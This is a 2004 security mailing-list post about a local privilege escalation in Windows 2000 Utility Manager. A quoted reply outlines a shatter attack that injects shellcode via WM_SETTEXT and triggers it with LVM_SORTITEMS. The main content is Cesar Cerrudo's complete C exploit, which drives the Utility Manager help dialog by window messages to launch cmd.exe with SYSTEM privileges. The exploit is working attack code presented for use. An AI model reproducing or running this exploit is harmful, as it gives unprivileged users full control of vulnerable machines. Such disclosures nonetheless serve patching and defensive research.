Re: Microsoft Window Utility Manager Local Elevation of Privileges

[Cesar <cesarc56@xxxxxxxxx>]

See attached ;)

Cesar.
--- Chris Paget <ivegotta@xxxxxxxxxxxx> wrote:
> On Tue, 13 Jul 2004 16:00:33 -0400, you wrote:
> ...
> 
> This isn't quite right - on my system at least,
> browsing for cmd.exe
> in this way generates an error:
> "The C:\WINNT\system32\cmd.exe file is not a Windows
> Help file, or the
> file is corrupted."
> 
> That said, the file dialog can be made to display a
> ListView control
> (display details rather than a list).  This ListView
> control will
> accept both WM_SETTEXT (to inject shellcode into the
> caption of the
> window) followed by LVM_SORTITEMS (which specifies
> the address for a
> sort function) to execute said code.  It is a valid
> method for
> arbitrary code execution as LocalSystem, but not
> quite as simply as
> Vivek makes out.
> 
> Chris
> 
> -- 
> Chris Paget
> ivegotta@xxxxxxxxxxxx



		
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//by Cesar Cerrudo  sqlsec>at<yahoo.com
//Local elevation of priviliges exploit for Windows 2K Utility Manager (second one!!!!)
//Gives you a shell with system privileges
//If you have problems try changing Sleep() values.

#include "stdio.h"
#include "windows.h"


int main(int argc, char* argv[])
{
	HWND lHandle, lHandle2;
	POINT point;
	char sText[]="%windir%\\system32\\cmd.ex?";

//  run utility manager
//	system("utilman.exe /start");
//	Sleep(500);

	lHandle=FindWindow(NULL, "Utility manager");   
	if (!lHandle) {
		printf("\nUsage :\nPress Win Key+U to launch Utility Manager and then run UtilManExploit2.exe\n");
		return 0;
	}

	PostMessage(lHandle,0x313,NULL,NULL); //=right click on the app button in the taskbar or Alt+Space Bar
	
	Sleep(100);

	SendMessage(lHandle,0x365,NULL,0x1); //send WM_COMMANDHELP  0x0365  lParam must be <>NULL 
	Sleep(300);
	
	SendMessage (FindWindow(NULL, "Windows Help"), WM_IME_KEYDOWN, VK_RETURN, 0);
	Sleep(500);


	// find open file dialog window
	lHandle = FindWindow("#32770","Open");

	// get input box handle
	lHandle2 = GetDlgItem(lHandle, 0x47C);
	Sleep(500);

	// set text to filter listview to display only cmd.exe
	SendMessage (lHandle2, WM_SETTEXT, 0, (LPARAM)sText);
	Sleep(800);

	// send return
	SendMessage (lHandle2, WM_IME_KEYDOWN, VK_RETURN, 0);

	//get navigation bar handle
	lHandle2 = GetDlgItem(lHandle, 0x4A0);
	
	//send tab
	SendMessage (lHandle2, WM_IME_KEYDOWN, VK_TAB, 0);
	Sleep(500);
	lHandle2 = FindWindowEx(lHandle,NULL,"SHELLDLL_DefView", NULL);
	//get list view handle
	lHandle2 = GetDlgItem(lHandle2, 0x1);

	SendMessage (lHandle2, WM_IME_KEYDOWN, 0x43, 0); // send "c" char
	SendMessage (lHandle2, WM_IME_KEYDOWN, 0x4D, 0); // send "m" char
	SendMessage (lHandle2, WM_IME_KEYDOWN, 0x44, 0); // send "d" char
	Sleep(500);

	//popup context menu
	PostMessage (lHandle2, WM_CONTEXTMENU, 0, 0);
	Sleep(1000);

	// get context menu handle
	point.x =10; point.y =30;
	lHandle2=WindowFromPoint(point);

	SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu
	SendMessage (lHandle2, WM_KEYDOWN, VK_DOWN, 0); // move down in menu
	SendMessage (lHandle2, WM_KEYDOWN, VK_RETURN, 0); // send return

	SendMessage (lHandle, WM_CLOSE,0,0); // close open file dialog window
	Sleep(500);
	SendMessage (FindWindow(NULL, "Windows Help"), WM_CLOSE, 0, 0);// close open error window
	SendMessage (FindWindow(NULL, "Utility manager"), WM_CLOSE, 0, 0);// close utility manager
	return 0;
}